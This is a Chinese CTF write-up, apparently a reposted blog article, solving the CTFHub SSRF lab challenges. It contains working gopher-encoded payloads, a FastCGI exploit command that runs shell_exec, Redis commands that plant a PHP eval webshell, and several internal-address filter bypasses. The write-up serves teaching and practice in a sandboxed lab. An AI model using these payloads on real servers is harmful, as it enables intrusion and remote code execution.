CTFHub SSRF(服务器请求伪造) WriteUP

2024-03-14 09:18

本文主要是介绍CTFHub SSRF(服务器请求伪造) WriteUP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

点击"仙网攻城狮”关注我们哦~

不当想研发的渗透人不是好运维

让我们每天进步一点点

简介

CTFHub 为网络安全工程师提供网络安全攻防技能培训、实战、技能提升等服务。

「赛事中心」提供全网最全最新的 CTF 赛事信息,关注赛事定制自己专属的比赛日历吧。

「技能树」提供清晰的 CTF 学习路线,想要变强就加点,哪里不会点哪里。

「历年真题」提供无限次赛后复盘,边学边练。

「工具」提供各类常用工具,打仗没有一把趁手的武器怎么行。

实战

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

SSRF漏洞目前是比较常见的,从多个角度来进行讲解

一、内网访问

1.打开靶机后给出一个url

2.直接访问flag.php即可,根据题目名字可以看出来是访问内网。

二、伪协议读取文件

1.使用file进行读取,这个题目需要知道php有哪些伪协议和基本常识,比如页面文件默认放到哪个目录下。

三、端口扫描

1.题目上有提示扫描8000-9000

2.直接使用burpsutie爆破一波

3.用字典工具生成8000-9000的密码表,直接开跑,8163

四、POST请求

1.题目中说使用curl来进行,直接上url就行

2.访问后发现一个输入框

3.查看源码发现一个key

4.我们首先构造一个POST请求。下面的是最基本的POST请求,也就是说如果构造POST,至少下面这些的内容一定要有。

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=8e1bad5e0b0e59ce4b8f401fc61dedef

5.注意Content-Length那里,必须和你的POST请求长度一样,不然结果就出不了。接下来我们要把这个POST请求进行一次URL编码:

POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3Dfad5d6e7f2d9efb2ce25f018bd18cfd9

6.这里又是一个问题,首先就是对换行的处理。如果你的POST请求编码出来的换行是%0A,就需要把%0A改成%0D%0A:

POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3Dfad5d6e7f2d9efb2ce25f018bd18cfd9

7.然后还要再进行2次URL编码,也就是说一共要进行三次URL编码,我当时就是因为只进行了2次,就没弄到flag。

最终:

POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253Dfad5d6e7f2d9efb2ce25f018bd18cfd9

8.使用伪协议gopher构造url即可,这里有个坑,题目说是使用302.php跳转,结果是需要从index.php跳转,而且必须要在浏览器中输入。

五、上传文件

1.根据题目需要上传一个文件,先看看flag.php

2.上传时发现没有上传按钮,修改一下源码,添加一个

3.随便上传一个文件看看

4.使用burpsutie查看一下,再把新增的去掉

5.把上面部分删除后全部复制url编码一次,%0a换成%0d%0a后,再url编码一次

6.payload

/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520challenge-800b39a5382e13b1.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla%252F5.0%2520(Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A89.0)%2520Gecko%252F20100101%2520Firefox%252F89.0%250D%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0.9%252Cimage%252Fwebp%252C*%252F*%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AReferer%253A%2520http%253A%252F%252Fchallenge-800b39a5382e13b1.sandbox.ctfhub.com%253A10800%252F%253Furl%253D127.0.0.1%252Fflag.php%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D---------------------------74678227140532112573885107383%250D%250AContent-Length%253A%2520437%250D%250AOrigin%253A%2520http%253A%252F%252Fchallenge-800b39a5382e13b1.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250APragma%253A%2520no-cache%250D%250ACache-Control%253A%2520no-cache%250D%250A%250D%250A-----------------------------74678227140532112573885107383%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522webshell%2520.html%2522%250D%250AContent-Type%253A%2520image%252Fjpeg%250D%250A%250D%250A%25C3%25A6%25C2%2588%25C2%2591%25C3%25A6%25C2%2598%25C2%25AF%25C3%25A4%25C2%25B8%25C2%2580%25C3%25A4%25C2%25B8%25C2%25AA%25C3%25A6%25C2%259C%25C2%25A8%25C3%25A9%25C2%25A9%25C2%25AC%25C3%25A6%25C2%2596%25C2%2587%25C3%25A4%25C2%25BB%25C2%25B6%25C3%25A6%25C2%2588%25C2%2591%25C3%25A5%25C2%2595%25C2%25A5%25C3%25A9%25C2%2583%25C2%25BD%25C3%25A8%25C2%2583%25C2%25BD%25C3%25A5%25C2%25B9%25C2%25B2%25C3%25AF%25C2%25BC%25C2%258C%25C3%25A5%25C2%25B0%25C2%25B1%25C3%25A9%25C2%2597%25C2%25AE%25C3%25A4%25C2%25BD%25C2%25A0%25C3%25A6%25C2%2580%25C2%2595%25C3%25A4%25C2%25B8%25C2%258D%25C3%25A6%25C2%2580%25C2%2595%25C3%25AF%25C2%25BC%25C2%2581%25C3%25AF%25C2%25BC%25C2%2581%25C3%25AF%25C2%25BC%25C2%2581%253Cphp%2520phpinfo()%253B%253F%253E%250D%250A-----------------------------74678227140532112573885107383

7.使用payload获得flag

六、FastCGI协议

1.这个还是蛮复杂的需要查看下面内容,该文章已经说明漏洞环境,只需要直接利用就行了。

https://blog.csdn.net/mysteryflower/article/details/94386461

2.配置一个本地监听并使用hexdump生成对照信息

3.使用exp执行下面命令来生成一个请求包

python2 FastCGI_exp.py -c "<?php var_dump(shell_exec('ls /'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php

4.查看一下1.txt,下面就是生成的请求

5.python3处理一下内容

6.生成的使用payload获得flag文件

7.修改使用cat命令,第2-6步访问flag文件,获取flag

七、Redis

1.redis命令,需要把下面命令生成url

flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

2.网上找到的转换脚本

3.运行后生成payload

%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%3C%253Fphp%2520eval%2528%2524_GET%255B%22cmd%22%255D%2529%253B%253F%3E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

4.使用payload在浏览器中上传一句话

gopher://127.0.0.1:6379/_payload

5.在shell上执行命令查询flag文件

6.查看flag文件获取flag

八、URL Bypass

1.利用nip.io,这个是一个dns解析网站访问www.xxx.com.1.1.1.1.nip.io,会解析为1.1.1.1

2.生成payload

?url=http://notfound.ctfhub.com.127.0.0.1.nip.io/flag.php

3.使用payload获得flag

九、数字IP Bypass

1.题目提示说不能使用点分十进制,使用转换成数字IP,网上工具一大堆哈

2.把127.0.0.1转换为数字IP

3.生成payload

?url=http://2130706433/flag.php

4.使用payload获得flag

十、302跳转 Bypass

1.根据题目提示说禁止访问127.0.0.1,需要使用302进行跳转

2.其实127.0.0.1还有一种写法:localhost  生成payload

?url=localhost/flag.php

3.使用payload获得flag,这道题感觉有点象脑筋急转弯

十一、DNS重绑定 Bypass

1.根据题目附件学习了什么是DNS重绑定e

2.使用lock.cmpxchg8b.com网站生成一个重绑定域名

3.使用生成的域名构造payload

?url=7f000001.7f000002.rbndr.us/flag.php

4.使用payload获得flag

总结:SSRF太考验脑洞了,其中使用的脚本和工具也比较多,想要学好SSRF必须要学习大量代码类的知识,加油吧!!!

往期内容

CTFHub RCE(命令执行、文件包含) WriteUP

ATT&CK实战-红队评估之二

简单讲解一下什么是ATT&CK框架

更多资讯长按二维码 关注我们

觉得不错点个“赞”呗      

这篇关于CTFHub SSRF(服务器请求伪造) WriteUP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/807936

相关文章

python运用requests模拟浏览器发送请求过程

《python运用requests模拟浏览器发送请求过程》模拟浏览器请求可选用requests处理静态内容,selenium应对动态页面,playwright支持高级自动化,设置代理和超时参数,根据需... 目录使用requests库模拟浏览器请求使用selenium自动化浏览器操作使用playwright

Python极速搭建局域网文件共享服务器完整指南

《Python极速搭建局域网文件共享服务器完整指南》在办公室或家庭局域网中快速共享文件时,许多人会选择第三方工具或云存储服务,但这些方案往往存在隐私泄露风险或需要复杂配置,下面我们就来看看如何使用Py... 目录一、android基础版:HTTP文件共享的魔法命令1. 一行代码启动HTTP服务器2. 关键参

SpringBoot监控API请求耗时的6中解决解决方案

《SpringBoot监控API请求耗时的6中解决解决方案》本文介绍SpringBoot中记录API请求耗时的6种方案,包括手动埋点、AOP切面、拦截器、Filter、事件监听、Micrometer+... 目录1. 简介2.实战案例2.1 手动记录2.2 自定义AOP记录2.3 拦截器技术2.4 使用Fi

SpringBoot改造MCP服务器的详细说明(StreamableHTTP 类型)

《SpringBoot改造MCP服务器的详细说明(StreamableHTTP类型)》本文介绍了SpringBoot如何实现MCPStreamableHTTP服务器,并且使用CherryStudio... 目录SpringBoot改造MCP服务器(StreamableHTTP)1 项目说明2 使用说明2.1

mysql中的服务器架构详解

《mysql中的服务器架构详解》:本文主要介绍mysql中的服务器架构,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、背景2、mysql服务器架构解释3、总结1、背景简单理解一下mysqphpl的服务器架构。2、mysjsql服务器架构解释mysql的架

Linux如何快速检查服务器的硬件配置和性能指标

《Linux如何快速检查服务器的硬件配置和性能指标》在运维和开发工作中,我们经常需要快速检查Linux服务器的硬件配置和性能指标,本文将以CentOS为例,介绍如何通过命令行快速获取这些关键信息,... 目录引言一、查询CPU核心数编程(几C?)1. 使用 nproc(最简单)2. 使用 lscpu(详细信

MySQL MCP 服务器安装配置最佳实践

《MySQLMCP服务器安装配置最佳实践》本文介绍MySQLMCP服务器的安装配置方法,本文结合实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下... 目录mysql MCP 服务器安装配置指南简介功能特点安装方法数据库配置使用MCP Inspector进行调试开发指

在Windows上使用qemu安装ubuntu24.04服务器的详细指南

《在Windows上使用qemu安装ubuntu24.04服务器的详细指南》本文介绍了在Windows上使用QEMU安装Ubuntu24.04的全流程:安装QEMU、准备ISO镜像、创建虚拟磁盘、配置... 目录1. 安装QEMU环境2. 准备Ubuntu 24.04镜像3. 启动QEMU安装Ubuntu4

python web 开发之Flask中间件与请求处理钩子的最佳实践

《pythonweb开发之Flask中间件与请求处理钩子的最佳实践》Flask作为轻量级Web框架,提供了灵活的请求处理机制,中间件和请求钩子允许开发者在请求处理的不同阶段插入自定义逻辑,实现诸如... 目录Flask中间件与请求处理钩子完全指南1. 引言2. 请求处理生命周期概述3. 请求钩子详解3.1

Windows Server 2025 搭建NPS-Radius服务器的步骤

《WindowsServer2025搭建NPS-Radius服务器的步骤》本文主要介绍了通过微软的NPS角色实现一个Radius服务器,身份验证和证书使用微软ADCS、ADDS,具有一定的参考价... 目录简介示意图什么是 802.1X?核心作用802.1X的组成角色工作流程简述802.1X常见应用802.